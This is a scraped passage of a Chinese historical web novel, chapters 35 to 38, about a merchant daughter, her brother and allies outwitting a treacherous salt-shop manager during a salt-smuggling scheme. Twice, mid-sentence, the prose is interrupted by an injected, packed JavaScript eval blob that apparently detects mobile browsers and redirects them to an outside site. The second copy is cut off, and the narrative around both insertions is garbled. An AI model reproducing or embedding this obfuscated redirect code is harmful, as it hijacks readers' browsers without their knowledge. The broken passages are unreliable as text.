“你懂个屁!我告诉你,今天这苏家,怕是要换换主子了!” 苏玉淑侧耳听着身后的动静,对着刘掌柜抬了抬眉:“你的人,不太听话啊。” 刘掌柜的脸色陡然一变。如今已非往昔,那天苏玉淑提刀闯入安字号账房的情景,他可还记得清楚呢!从前,她不过是即便不给账本也不会把自己怎样的深闺小姐,可如今却是杀伐果断的主子,要是真把她惹恼了……会不会就像那天被她轻飘飘一句话就处置了的手下那般…… 想到这儿,刘掌柜瞬间怒目圆睁。他转过身去,冲着还在喋喋不休的张青厉声骂道: “狗东西!还不赶紧闭嘴!要是吵到大小姐,我倒要看看你那条狗命能值几个钱!” 张青正和刘利聊得开心,这劈头盖脸的一顿骂,吓得二人脖子一缩,活像两只受惊的王八。苏玉淑见状,不禁嘲笑道: “刘掌柜,我看你走南闯北这么多年了,怎么你的大舅子如此不成事呢。看来是你教导无方啊,哈哈哈……” 被一个年纪远小于自己的丫头嘲笑,刘掌柜的脸一阵红一阵白,一时不知该说什么好。他只能一边愤愤地瞪着身后丢人现眼的二人,一边低眉顺眼地对着她点头哈腰。 等见到了那位大人……饶是你苏家富可敌国,尔等生死还不是在大人的一念之间! 走着瞧! 在城中众人的注目下,马队缓缓行至城门之下。城门处的一队守卫见到如此庞大的车队,当即派出一人上前。那人还没来得及开口,刘掌柜便迅速翻身下马,动作行云流水,令人惊叹不已。 “军爷,军爷!我们是苏家安字号的盐商。这是我们的盐引,您过目一下!” 来人满脸不屑地打开盐引,眼皮都不抬一下,匆匆扫视着。 见他不吭声,刘掌柜弯下腰,伸手将士兵拉到一旁,轻声说道: “军爷,这天儿酷热难耐,您几位着实辛苦……”说着,他从怀中掏出一个布袋,“一点儿小意思,您几位拿去喝喝酒、品品茶。要是有什么事儿,您尽管去苏家的商铺,保证把您和兄弟们都招待得妥妥当当……您看……” 士兵从鼻孔里冷哼一声,伸手接过布袋,抛到空中掂了掂,这才满意地让开一条路。他冲着刘掌柜招了招手,刘掌柜立刻心领神会,作揖后翻身上马。这一系列举动丝毫不避讳旁人,仿佛这是再正常不过的事情。 苏玉淑不禁皱起了眉头。 她虽跟随父亲积累了一些经商经验,也深知商贾之家地位低微,但如此明目张胆地索贿刁难,还是出乎了她的意料。这刘掌柜虽说不是什么正人君子,但在商场上的手段确实十分老到。这样的人,苏家留用也不是,不用也不是。 一想到后面的事情,苏玉淑就感到头疼不已。等这件事一结束,她一定要带着绿萝和石竹游山玩水,逍遥自在一番。天地如此广阔,难道还容不下她这样一个洒脱之人! 不过,还是得先把眼前的事情处理好,临阵脱逃可不是她的作风。 打点好这帮守卫后,车队出城十分顺利。一行人按照原定计划向城东进发。苏玉鸿早已在那里等候,她们片刻也不能耽搁。 行进途中,众人皆沉默不语,各怀心事,苏玉淑只觉紧张的情绪如潮水般不断蔓延。随着与约定之地的距离逐渐拉近,她的心跳也愈发急促。身旁的刘掌柜在马背上被颠簸得昏昏欲睡,她趁无人留意,忍不住回头望去—— 林长亭对着她微微一笑,又指了指自己的腰间。 苏玉淑顺着他的动作摸了摸,顿时心领神会,露出一抹笑意。不知何时,自己身上竟又多了一包糖渍梅子。自那日夏宴上无意间偷听到她喜欢这东西,林长亭每次都会买给她,真把她当成了一个吃不够的小孩子。 她偷偷地对着林长亭吐了吐舌头,又故作严肃地转过身去。 这种美味,还是留到一切尘埃落定之后再享用吧。 队伍行进的速度比平常的马队快了许多,赶在约定时间之前,一行人便抵达了目的地。苏玉鸿已在此等候多时,听到马队的动静他立刻竖起耳朵,脸上瞬间浮现出一抹笑容。伴着飞扬的沙尘,他突然像是想起了什么,收起了笑容,满脸不悦地望向来人的方向。 “吁——” 苏玉淑在离他不远处勒住马。她高高在上摆出一副桀骜不驯的姿态,静静地端坐在马上注视着苏玉鸿。刘掌柜在两人之间来回打量了几眼,随即翻身下马。他小心翼翼地牵起苏玉淑马匹的笼头,又谄媚地伸出右手想去扶她。 苏玉淑冷哼一声,丝毫不给刘掌柜面子。她利落地自行翻身下马道: “哥哥,你等了许久吧。” “也没多久。倒是妹妹你细皮嫩肉的,受不受得了路上的颠簸之苦啊?” “不劳哥哥挂心,我自会照料好自己……还有家里的。”苏玉淑眼皮都未抬一下,极其嚣张地打量了苏玉鸿一番,“东西可都带来了?” 苏玉鸿侧身让开位置:“那是自然。” 兄妹二人交谈之间,隐约弥漫着几分火药味,把那刘掌柜和张青看得目瞪口呆。苏玉鸿身后堆放着的,正是那百十箱私盐,小六子正带着几个人在一旁看守。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459927|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏玉淑究竟使了什么手段,能让她哥哥心甘情愿且神不知鬼不觉地将这些私盐运出盐场?刘掌柜和张青交换了一个眼神,刘掌柜低眉顺眼地走上前去,赔着笑脸道: “大小姐,咱们是不是该……” “嗯,动手吧。” 苏玉淑朝着林长亭挥了挥手,林长亭马上从马车上取下一把梨木板凳,放在一旁。苏玉淑做出一副娇嗔的模样,坐在那里,不满地抬了抬下巴。 “动手!”刘掌柜一声吆喝,押送马队的众人立刻轻松地将箱子抬了下来—— 箱子竟然全部都是空的! 苏玉鸿也摆了摆手,他身后的林子里顷刻间冒出十几号人来。两边的人打了个照面,彼此仅用眼神交汇,没有任何言语交流却十分默契地开始行动。一部分人将苏玉淑带来的空箱子搬下,另一部分人则把私盐装进箱子,再贴上封条。空箱子则在原地销毁,劈成一堆破木头后一把火烧掉了。 过了小半日,这些私盐终于都换上了官盐的皮,有了正规的路子。苏玉淑对着大汗淋漓的刘掌柜招了招手,他便像一只磕头虫一样哈巴着过来: “大小姐,这边儿都差不多了,您有何吩咐?” “刘掌柜,你还记得之前我和你说过的话吗?” “自然记得。” 苏玉淑的眼神里添了几分玩味,说道:“那就去做吧,可别错过这么好的机会。”说罢,她身子往后一仰,将自己隐于树荫的清凉之中。片刻之后,刘掌柜不再犹豫,他四下张望一番,趁着众人忙乱之际,走近了苏玉鸿。 “大少爷。” 苏玉鸿依旧满脸和善,问道:“刘掌柜有何事要与我讲?” “哎哟,不敢不敢。还是您没有架子,对我们这些下人更好些……” 苏玉鸿虽然向来脾气好,但也懒得和这种吃里扒外的人多费口舌,便说道:“刘掌柜,您有话不妨直说。” 刘掌柜脸上闪过一丝尴尬,但很快又压低声音,说道:“少爷,您可知道这批盐的来历?” 苏玉鸿点点头,应道:“嗯。” “那就对了。您别看这些都是私盐,如今可就像旧酒装新壶,摇身一变成了有正规手续的官盐。要是能顺利押送这批盐,替上面的大人解决这个难题,那可是立下大功一件啊!” “刘掌柜的意思是……” “少爷,您要是肯听小的一句劝……”刘掌柜眼珠子滴溜溜一转,接着说,“您干脆把这差事从您妹妹手里抢过来。到时候,不仅您脸上有光,就连苏家都能在您手上发扬光大,可比现在在老爷手里强多了!” “刘掌柜……”苏玉鸿低头浅笑,“您果真不愧是在父亲手底下干了这么久的老伙计。这些事情都能为苏家考虑得清清楚楚,我确实该好好谢谢您。只是我有一事不太明白……” “少爷请说。” “我瞧见是你和玉淑一同从安字号的盐庄出发的,我还以为上面那位大人已经选定玉淑了呢……难不成并非如此?” 刘掌柜脸色骤变:“哎哟,少爷……哪有这回事啊。您还不了解您妹妹的脾气吗?她拿着不知从哪儿得来的杜家老爷的腰牌,又气势汹汹的,我们哪里敢说什么!但为了咱们苏家,依我看还得是您当家。她一个女孩子家,每天抛头露面不说,生意上的事儿她能懂什么呀!要是真由着她的性子来,把事情搅得一团糟还是小事,要是得罪了大人物,咱们可怎么活下去哟!” 这一点,苏玉鸿不置可否。商贾之家虽说富裕,但说到底还是要看人脸色行事。他眉头紧皱,故作愁容道:“那可怎么办才好呢?” 还是这大少爷性子软,好拿捏。 刘掌柜强忍住笑意:“少爷,这时候您就得拿出当哥哥的架势,摆出未来家主的派头……否则这么好的机会白白浪费了,多可惜啊……” 他凑到苏玉鸿耳边,如此这般地嘀咕了一番,苏玉鸿做出一副恍然大悟的样子,满意地点点头:“还得是刘掌柜您有办法啊!” “哪里哪里……那,那就看少爷您的了?” 苏玉鸿冷哼一声,板起脸迈着大步朝正在乘凉的玉淑走去: “死丫头,还不赶紧给我起来!” 36. 第 36 章 “起来?我要去哪儿?” 苏玉鸿冷哼一声,他斜着眼睛瞟了一眼玉淑,声音有种刻意压低的冷漠:“这儿没你的事儿了。” “你什么意思。”苏玉淑不甘示弱,她猛地站起身来,一双圆眼直勾勾地盯着他,没有半分闪躲,“我的好哥哥,你该不会是想瞒天过海……狸猫换太子吧?” “这狸猫已经出了城,太子也进了箱子,至于你说的……我怎么听不懂呢。我只知道咱们苏家的盐一向是由我和父亲来掌管押运,既然已经都装好了车,那我自然也是要做我该做的事了。你说,是不是呀,玉淑?” “苏玉鸿,你卸磨杀驴。” 她面容冷峻,只一瞥就让刘掌柜后退半步。苏玉鸿背对着众人,面上多了些不为人知的欣慰与笑意,他这个妹妹,终于还是要长大了。 苏玉淑狠狠瞪了他一眼:“你凭什么说这一切都是你做的?邀功心切,小心聪明反被聪明误。” “就凭……这个。” 苏玉鸿抬了抬手,林长亭一个箭步扯下了她腰间放着招摇的令牌。苏玉淑来不及做出反应,她的手还悬停在半空之时,那令牌已经稳稳当当地落入对方的手里。 “妹妹……你怎么就不懂知人善任的道理呢?你这小厮我看着不错,今天开始就跟着我吧。” 林长亭弯腰拱手:“谢大少爷赏识。” “你!你们!” “妹妹,有生气的时间,不如想想怎么回去吧。”苏玉鸿转过身去戏谑一笑,“刘掌柜,修整得差不多了吧?” “大少爷,基本都处理妥当了。” “出发。这商道啊,还就得我们这些跑惯了的人来走。玉淑,你赶紧回家好好休息吧。女孩子在外面待久了可不好。咱们走。” 苏玉鸿头也不回地径直离去,飞身跃上马背,那意气风发的模样,宛如一位刚铲除奸佞的侠客。林长亭看了一眼咬着嘴唇、怒目圆睁的玉淑,便默默跟在苏玉鸿身后,一言未发。 刘掌柜乖觉地让开一条路。他与苏玉淑目光交汇,仅仅一瞬间,两人的目光便似碰撞出密集的火光。按照苏玉淑所说,这大少爷必定会上钩邀功。虽说小厮夺令牌一事出乎他的意料,但商队里的人都是苏玉淑亲自换的。要是大少爷上钩,往后苏家就得由这丫头片子做主,自己自然能立下头功。 可要是大少爷得势……苏玉鸿和他爹性子相似,脾气秉性更好拿捏,他若能当上家主,对自己只有好处没有坏处。倒不如顺势推他上位,这样既能得到少爷的好处,在老爷那边也能大赚一笔。到时候苏家的事务谁说了算,可就由不得他们了。 他无视了苏玉淑眼中传递的信号,只是点头哈腰一番,便跟在二人身后离开了。装满货物的木箱让马车又压低了几分,在刚下过雨的路上轧出深深的车辙印,随着轰隆隆的声响一路延伸向远方。 樊城与师城相距不远,若一切顺利,路程不会超过三天。一路上林长亭都已安排妥当,想来不会遇到什么难题,只要苏玉鸿能稳住,眼下的难关就能顺利度过。 苏玉淑故意做出一副惆怅的模样,如一只被抛弃的败犬般目送商队远去。耳边的喧闹声渐渐远去,她的心也愈发平静。这些日子,她跟在林长亭身边经历了许多,血光剑影、筹谋算计,短短几个月的经历,抵得上她过去十几年的时光。 她只觉得自己如同正在蜕皮的蛇,既痛苦又兴奋,那种在逆境中拼搏的感觉从心脏蔓延至全身,直至身体发麻、头脑嗡嗡作响。 “大小姐,人已经走远了。” 她闻声回头,只见鸩不知何时已站在她身后。计划定下时,林长亭坚持把鸩留下,美其名曰盯着苏玉淑,防止再生事端,但其保护之意不言而喻。鸩没有反驳,她向来把命令视为生命。反正有叶荣、叶英两兄弟跟着,路上应该不会出什么大事。 “不急,咱们的马快,修整半日再追也无妨。” “是。” 看着鸩这般低眉顺眼的模样,她也不知为何,心里竟无端生出一股不满。鸩眼睁睁看着那只白净却布满薄茧的手缓缓朝自己伸来,她犹豫了片刻,并未躲开。 苏玉淑轻轻摸了摸鸩的脸,和寻常女孩子一样,又滑又软。她又捏了捏鸩腮帮子上那并不丰满的肉,说道:“你怎么这么瘦啊。” “大小姐……” “是不是林长亭没让你吃饱饭呀?” “不,没有……” “我真的特别好奇,你这么厉害的人,怎么会对他言听计从呢?林长亭一看就打不过你,对吧?” 面对苏玉淑这番有些失礼的询问,鸩并未恼怒:“少爷很厉害,他比我强。大小姐还是别开这种玩笑了,要是让少爷知道,他会生气的。” “我才不怕他呢。”眼见人都已经离开了,苏玉淑便大大咧咧地往树下的草地上一躺,“要不,要不你给我讲讲你们以前的事儿呗?” “这……” 苏玉淑伸直胳膊,拉着鸩的手就往下拽。鸩不敢挣脱,顺着那股力道躺在了她身旁。今日的云有些厚重,倒也消解了夏日的酷热。苏玉淑偏过头,得意地笑了:“说嘛,求你啦。” 鸩的眼睛不自觉地睁大了些许。在她有限的记忆里,这般耳畔清风拂过、日光透过树影的闲暇时光几乎从未有过。几缕草香钻进她的鼻腔,其间似乎还夹杂着不知名的花香,路上洒下的海盐被日光晒出丝丝咸味,二人仿佛置身于海边,惬意如同缓缓流淌的蜂蜜,将她们紧紧包裹,再撒上一层名为友情的糖霜。 “说起来,咱俩是不是差不多大?” “我……我并不知道自己确切的生辰。”鸩不知为何苦笑一下,“不敢和大小姐相较。” “够了。” “啊?” 苏玉淑不满地轻轻戳了戳她的肋骨,说道:“什么不敢不配的,不过就是年纪的事儿。你看上去和我差不多大,在我面前就别搞那套尊卑礼节了,真的很没意思。” “可……” “没什么好可是的。士农工商,我们这些做生意的最遭人瞧不起。你别看我有点钱,走到哪儿都被人说成是臭老九。跟你比起来,反倒是我不配呢。不过,嘴长在别人身上,爱说什么就说什么,随他们去,说几句又不会让我日子不好过,他们也捞不到什么好处。所以,你也不许在我面前摆出那副逆来顺受的样子,我看着就烦。” “知道了。” “那你给我讲讲呗。”苏玉淑那模样活像一只好奇的小狗,“你俩是怎么认识的?他平时啥样啊?诶,你有没有觉得叶荣喜欢绿萝啊?” 这么多问题一股脑全抛给了鸩,她一时有些愣住了。她深吸一口气,像是下了某种决心道:“我是被少爷捡回来的。少爷平时不太爱说话,他跟我们说的话加起来都没跟你说的多。叶荣饭量大,叶英吃得少,可别喜欢叶荣,养不起。” “噗。” “怎,怎么了?”鸩的脸上瞬间升起一抹红晕,“我……” “没事,你说你的,我只是笑他们哥俩而已。” 她有些不好意思地轻轻抿了抿嘴角,笑容如灵动的小蛇般悄然爬进眼眸,说道:“正一是我们这些人里年纪最大的,听说早已成家生子。除他之外,大家的年龄都相差无几。少爷不仅是我们的主子,有时更像是我们的挚友。 这么说或许有些僭越……但像少爷这么好的人,我们绝不允许有人伤害他分毫。那年遭遇天灾,是少爷把我从死人堆里救了出来,给了我活下去的机会,我不知道除了以命相护,还有什么办法能报答这份恩情。” “天灾?什么天灾?” 鸩轻笑一声,那笑容里好似带着无奈,又好似透着释怀:“其实那已经是很久以前的事了。我只记得那年发了洪水,黄河决堤后,整座城池几乎被淹没,是……”她微微停顿了一下,“后来的事我记不清了,是少爷从一群难民中选中了我,让我做他的护卫。再往后,就都是些在刀口上讨生活的事了,有机会我会慢慢讲给你听。” “好。” 苏玉淑没有再继续追问,只是微笑着摸了摸自己的头发,然后摘下一支发簪:“送给你。” “这……” “我就知道你不会要。”她索性坐直身子,凑到鸩的跟前,把那支发簪在她眼前晃了又晃,“这是我特意让盈字号的师傅为你做的,我给它取名叫‘刀簪’。” 这支发簪果真别具一格,其上的银丝缠花被精心雕琢成梅花的模样,中间还镶嵌着一颗鸽血红宝石。簪体全由上好的乌檀木打造而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她指着地图上标红的一处说道:“我们选这条路,虽说看起来远了些,但是顺着水路走,补给方便,还不易被察觉。另外,闻先生在前面等着您。” “他怎么来了?他身子好了吗?” “闻先生说,他对这些盐再熟悉不过了,关键时刻或许能派上用场。” 苏玉淑忍不住翻了个白眼:“只盼着关键时刻别让我们去救他就好。” “大小姐,要是走这条路,我们最多再休整一会儿就得出发了。干粮衣物都在我的马背上,石竹小姐准备得十分周全,我们……” “不歇了,这就走。”苏玉淑猛地站起身来,在草地上大大地伸了个懒腰,“嗯……嗯!出发!” 天朗气清,先前的闷热被那仿佛染着层绿意的风一扫而空。她只觉得此刻自己仿佛化作一股清流,誓要将这世上的污浊尽数扫除。苏玉淑眺望远方,被炙烤的土地扭曲成幻影,她才不管什么阴谋诡计,她只想要一往无前,做一个顶天立地的人。 二人不再言语,一种默契在两个女人之间悄然流转。或许是冲动,或许是野心,或许是毫无头绪的紧张感,不管是什么,此刻站在同一阵营的人们心中都跳动着相同的鼓点,仿佛天雷在胸中隐隐激荡—— 这种感觉,叫做正义。 两匹快马如白色闪电般在小路上一闪而过,哒哒的马蹄声与鸟鸣交织,奏响激昂轻快的行阵乐章。然而苏玉鸿那边的气氛却截然不同,虽人多势众,却寂静无声。 路线早就是妹妹计划好的,明明自己只要摆出少东家的架势就行,可不知为何,苏玉鸿心里总是七上八下。他忍不住回头看向林长亭,眼中满是心虚。 林长亭敏锐地察觉到他的异样,双腿微微用力,策马来到苏玉鸿身旁。 此刻周围眼线众多,林长亭从马鞍上取下水壶,装作贴心的样子将水和身体都凑了过去:“别紧张,没事的。” 苏玉鸿接过水壶的手微微颤抖:“会不会……” “不会。” 林长亭的声音微弱却坚定,他嘴角含笑,苏玉鸿恍惚间仿佛在他脸上看到了妹妹平日那桀骜不羁的神情: “相信自己,相信我,也要相信玉淑。” 苏玉鸿紧绷着下巴,以眨眼代替点头,从喉咙里挤出干涩的回应。 “好。我……我要做她最好的哥哥。” 37. 第三十七章 商队正沿着一条蜿蜒且略带泥泞的小路缓缓前行。炎热的夏日,让每一个人都显得疲惫至极。汗水顺着脑门不断淌下,浸湿了脊背,那粗麻制成的衣服就像破麻袋一般挂在身上,里面装着的仿佛并非人的躯体,而是如海水般咸苦的命运。 张青早就对这漫长的跋涉忍无可忍了。他常年在盐场劳作,甚少出远门,此时早已小腿酸胀,两只脚也被磨得又疼又痒。他探出头去,见前面的少爷和刘掌柜都无暇顾及后方,便一屁股坐到了马车上,靠在大箱子上,舒服地长舒了一口气。 “大哥,你就不怕少爷怪罪吗?” 刘利两条腿哆哆嗦嗦地直打颤,其实他早就想这么做了,只是没那个胆子罢了。 “瞧你那没出息的样子。”张青啐了口痰,说道,“这一票要是做成了,能少得了咱们俩的好处吗?坐会儿车算得了什么。等大爷我飞黄腾达了,让这帮奴才都驮着我走!哈哈哈哈!” 他的笑声在寂静的树林里显得格外突兀,几只飞鸟被惊得不耐烦地飞走了。刘利吓得脖子一缩,生怕这笑声会招来麻烦。刘掌柜在马背上身体猛地一震,随后与林长亭那带着玩味的眼神对上了。他迅速回过身去,只见张青正晃荡着两条腿,咧着嘴,像条癞皮狗似的赖在马车上。 “张青!你这个天杀的!快给我滚下来!” 刘掌柜气得吹胡子瞪眼,心里直后悔,早知道就不该带这个王八蛋出门,他简直就是个脑子比驴还笨的蠢货。张青还没反应过来,只是不耐烦地掏了掏耳朵。他妹夫这如炸雷般的吼声,震得他耳朵直痒痒。 “我实在走不动了,歇会儿又何妨。”张青嘀嘀咕咕地换了个姿势,屁股好似黏在车上,丝毫不想挪动,“这马多拉我一个又不会累死,你可是我妹夫,当着这么多人的面吼什么……还不是被我姐瞧不上……” “少说几句吧,王八羔子!”刘掌柜声音虽低,却已难掩怒火,“带你出来是为了让你露脸,你倒好,腚沟子都露天上去了了!上不得台面的东西,再敢多说一句废话就给我滚回去!” “嘁。”张青不服气地跳了下来,他甩了甩沾了泥巴的裤腿,用力拍打着衣服,发出啪啪的声响,双眼几乎都快翻到眼皮里去了。刘利见状赶忙拽了拽他的衣角:“哥,你赶紧服个软啊。” “是是是,知道了知道了。”他满不在乎地走到队尾,不就是个商号掌柜嘛,也不知道神气什么。呸,惹不起还躲不起吗。 刘利见状点头哈腰地跟了过去,他只觉得自己命怎么这么苦,本以为大小姐是个厉害角色,没想到还有大少爷等着;以为张青是个靠谱大哥,结果在刘掌柜面前啥也不是,每次都以为自己押对宝了,结果回回都不尽如人意。 唉,小人物想赚点钱可真难啊。 刘掌柜长叹一口气。 怎么就这么烂泥扶不上墙呢。要是这个大舅子能争气,媳妇儿家里也不至于这么难。他也不用一把年纪还跟着冒险,里里外外赚的那些钱,真正到自己手里的又有多少…… 他再抬头看向队首,苏玉鸿哪有等他的意思,马队早就像流水一般从他身边过去了,他站在队伍当中就像个无关紧要的人。刘掌柜咬咬牙,现在可不是计较面子得失的时候,要是因为张青一个人坏了大事,那可就太不值了。 他三步并作两步,略显肥胖的身子在车马之间小跑着奔向少爷。他那一溜烟的样子甚是滑稽,但此刻刘掌柜顾不上周围人审视的目光,等他好不容易翻身上马时,汗水早已湿透了后背,整个人像风箱一样发出“呼哧呼哧”的声音。 “刘掌柜,管教家人着实不易啊。”苏玉鸿不知为何,心中竟有些不忍,顺手递过一方手帕,说道:“擦擦汗吧。” “谢,谢谢少爷。”刘掌柜慌慌张张地擦了擦额头,两撇灰白的胡子上挂着毛毛躁躁的汗珠,嘴唇也泛起了几块白皮。这般模样,他早已不复当年那个意气风发的样子,当年的他脸上总是挂着张扬的笑,一把将自己抱上马,跟着父亲走南闯北,是安字号说一不二的掌柜。 苏玉鸿的眼神与妹妹不同。苏玉淑的眼神中总是透着一股打量与机敏,宛如一头狡黠的幼狼。而他的眼神里则始终带着一丝悲悯与一丝坦诚,好似会一直陪伴在你身旁、永远不会背叛你的伙伴。 “让少爷见笑了。”刘掌柜声音嘶哑,“是我管家无方。” “家家有本难念的经。”苏玉鸿语气稍顿,看了看林长亭,像是试探般说道,“只是家事尚小,你可千万不要在大事上出现偏差啊。” 刘掌柜抬起头,二人目光交汇的瞬间,似有电光石火闪过,但很快又恢复了平静。 “谢谢大少爷,安字号定会在您和那位大人的指点下发扬光大,成为全国首屈一指的盐商。” 苏玉鸿并未得到自己期待的答复。其实他心里明白,事到如今,时过境迁,无论是谁都已没有了回头的路,也没有了回头的资格。 此后一路沉默无言。 林长亭在马背上悠然自得。他自然清楚大家此刻心里各自打着什么算盘,只是觉得没有必要说破。按照目前的行进速度,苏玉淑那丫头大概会在傍晚出发,提前抵达樊城。此次他们运送私盐选择了官道,虽说巡检众多,但如果他推断无误,这一路上他们不会遭遇任何刁难。至于樊城那边…… 樊城离京城可比师城离京城近得多。即便有什么意外,他再做应对也来得及。 更何况,他相信苏玉淑。 想到这里,他的眼神不自觉地柔和起来。 林长亭也不明白自己怎么了,或许是最近和这丫头相处的时间多了,自己变得活泼了些,性子也软了些。但这对他而言,并非好事。 朝堂争斗,你死我活,心软是人的致命弱点。 更何况他可是要…… 他深吸一口气,现在不是想这些的时候。如果连眼前的私盐案都解决不了,他就会被彻底贴上无能的标签,一个无用之人是回不去的。 这京城,近在咫尺,却远在天边。 月色愈发浓郁,氤氲的雾气悄然在林间弥漫开来。苏玉淑一行趁着月色,沿着水边匆匆前行。马蹄溅起的水花如碎银般四下飞散,溅落在她的衣角。她们所选择的这条路,虽然崎岖难行,却能更快抵达目的地。 照目前的行进速度,若不出意外,两天后的午间便能到达樊城。届时,只需依照林长亭的指示提前部署好人马,这一车私盐便能被稳稳扣在城中。苏家也能借此全身而退,彻底摆脱这桩可能掉脑袋的麻烦事。 到那时,皆大欢喜。自己立下大功,父亲也不会再逼自己嫁人,她就能自由自在地闯荡天下,这是何等畅快之事! 一想到这儿,苏玉淑在马背上忍不住笑出了声。那“吃吃”的笑声传入鸩的耳中,让她忍不住打了个冷战。 “大小姐,你笑得怪吓人的。” 苏玉淑笑弯了眼睛:“鸩,我问你个问题。” “大小姐请说。” “我是说,如果林长亭肯放你走……” “不会的。” “什么?”苏玉淑对她的果断回答感到十分诧异,“你都不知道我要问什么。” “吁——”鸩勒住了马。她平素极少这般直直地盯着他人,此刻目光依旧透着彻骨的冰冷。 这种感觉让苏玉淑隐隐察觉到了危险。 这段时日,苏玉淑早已将鸩视作了知己好友,可这却是鸩难以接受的。作为隐匿于暗影之中的杀手,她的使命便是为少爷扫除前行道路上的一切障碍。至于那些多余的情感,她既不该有,也不配拥有。 “大小姐,我大致能猜到您想说些什么。这段日子里,您教会了我许多,我对您感激不尽。但我这一生注定要守在少爷身旁,我是他手中最为锐利的那把刀。并非是少爷是否会放我离开,而是我此生都绝不会背弃少爷。大小姐,还望您能体谅我这份赤诚之心。” “哎呀,别这么严肃嘛。”苏玉淑尴尬地笑了笑,赶忙打着哈哈来缓和气氛,“我心里清楚的,我也就是随口一说。走啦走啦,不说这个了,还是正事要紧。” 其实她心里也明镜似的。像林长亭这种出身官僚世家 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“那我们去给马弄些精饲料,再看看有没有茶馆或客栈可以落脚。”苏玉淑突然想起什么,把马上的包袱塞到鸩手中,“咱俩换一下包裹。你扮成我的跟班,就算真有状况,也不会先抢你手里的东西。” “好。” “还有,”她从腰带里掏出几块铜板,“财不外露,我们先去探探路。” 村口的小路有些泥泞,勤劳的农人们日出而作,扛着锄头下田劳作。不算大的村落被朦胧的光线染上一层暖色。二人牵着马走在田间小路上,很快有人上前搭话: “二位看着眼生,请问来我们这小村子有何事呀?” 来的是一位驼背老人。他花白的胡子稀稀落落,皮肤黝黑,皱纹爬满脸庞,一看就是长期劳作的辛苦人。 苏玉淑温婉一笑:“老先生,我们二人路过,多有打扰。请问村里可有客栈或茶舍?我们想喂喂马,再找点吃的。” “想来二位是要前往前面的樊城。我们这儿地方小、人又少,没有那种客栈……倒是有一家酒馆,白天会给过路的人提供些酒肉,若二位不嫌弃……” “可以可以,那再好不过了。” 顺着老人的指引,二人不一会儿便到了。说是酒馆,实则就是一间小草屋。旁边有个饮马槽,里面堆着些草、玉米,还有些许糠饼。 “哟,大早上的,二位客官想来点什么?” 人影尚未出现,声音却已先传了过来。迎面走来的是一位笑容爽朗的妇女,尽管身着麻衣,脸上却洋溢着满满的热情,语气也轻快无比:“来,先把马交给我吧,我先给马饮点水。” 她动作十分麻利,望向两匹马的目光中满是柔情:“哎呀……浑身都是汗,跑了很长时间了吧……先喝两口水,再吃点好饲料,等你们走的时候再让你们喝个饱。这马啊,不能一上来就喝一肚子水,接着再跑的话会把马跑死的……” 苏玉淑不禁有些惊讶:“您还懂养马呢。” “嗨,不瞒您说,我以前在牧监家里干过活儿,一来二去就学会了不少。”她不好意思地笑了笑,“两位看起来不是一般人,这马我肯定会帮你们好好照料的。” “那就有劳了。再给我们来一壶热茶,随便上些吃的就行。” “好,那二位先在这小院里坐坐,我马上给您上茶。” 这间所谓的小酒馆似乎只有她一人打理。屋内传来叮叮咣啷的茶碗碰撞声,粗瓷发出的沉闷声响此刻倒别有一番山野趣味。 苏玉淑放松下来,大大咧咧地趴在桌子上,舒展着早已僵硬的筋骨,就连眼皮也不由自主地开始打架。 “好困……” “大小姐,现在还不是睡觉的时候。”鸩犹豫了许久,轻轻拍了拍她的背,可旁边的人早已没了反应,只剩下均匀的呼吸声。 “罢了,罢了。” 鸩笑了,说不出是无奈还是宠溺。 “小睡一会儿吧,有我在呢。” 38. 第三十八章 苏玉淑仿佛做了一场美梦。 苏玉鸿在前面奔跑着,手里高高举着一支崭新的毛笔。她在后面屁颠屁颠地追着,嘴里咿咿呀呀地喊着“哥哥”,小小的绿萝和石竹也在旁边挥舞着手,试图拦住奔跑的少爷,恨不能将他一把扑倒在地…… “苏玉淑!” 正当几人玩闹得正起劲时,一声厉喝宛如炸雷般在众人脑后响起。还不到半人高的苏玉淑转过身,只见一个黑影不由分说地朝她走来,年幼的她来不及反应,那粗壮的手腕便拎起她的后脖颈,将她往外丢去—— 她猛地睁开双眼,身体正飞速向后移动,这不是梦! 苏玉淑迅速调整姿势,这才让自己在地上摔得没那么疼。刚醒来的她大脑还混沌不清,但就算是个傻子也能看清眼前的局势。 鸩护在她身前,卖茶的大姐跪在地上苦苦哀求,她刚刚睡着的地方还插着一把刀。几个五大三粗的男人正叉着腰,横眉立目地站在那儿,一身打扮不像是农户,倒更像是土匪。 这是遇上麻烦了。 “大爷们,咱们和气生财,有什么需求尽管吩咐……” 大姐话音未落,为首的男人一脚就踹了上去:“找你要?呸!乡下娘们儿,找你要你给得起吗?我今天还就看上这两匹马了,能把我怎样!” 这一脚力道着实不轻,大姐被踢得捂着心口,说不出话来,脸色也变得煞白。苏玉淑一骨碌爬起来,凑到鸩身边低声问道:“怎么回事?我睡了多久?” “也就不到半个时辰,这帮人闹着讨酒喝,看上咱们的马了。大姐不给,就成这样了。”她努努嘴,“怎么办?” “你们俩在嘀咕什么呢!”其中一个矮胖男人以为两人是吓得不敢动,撇着腿摇摇晃晃地大步上前,“这,这马是你们俩的啊?我们大哥发话了,一会儿就牵走了啊。” 鸩的眼神平静如水。这样的小喽啰,不出几招就能全部杀光,甚至连动气都没必要。她手腕微抬,却被苏玉淑一把攥住。在鸩教授她武艺的这段日子里,苏玉淑对她细微的动作熟悉得不能再熟悉了。 此处虽是一处偏远村庄,但这些人来路不明,万一这是有心人的试探,或者背后有什么靠山,只怕会给这庄子上的人带来灭顶之灾。杀人容易,可善后却难。比起在此处动手,倒不如…… 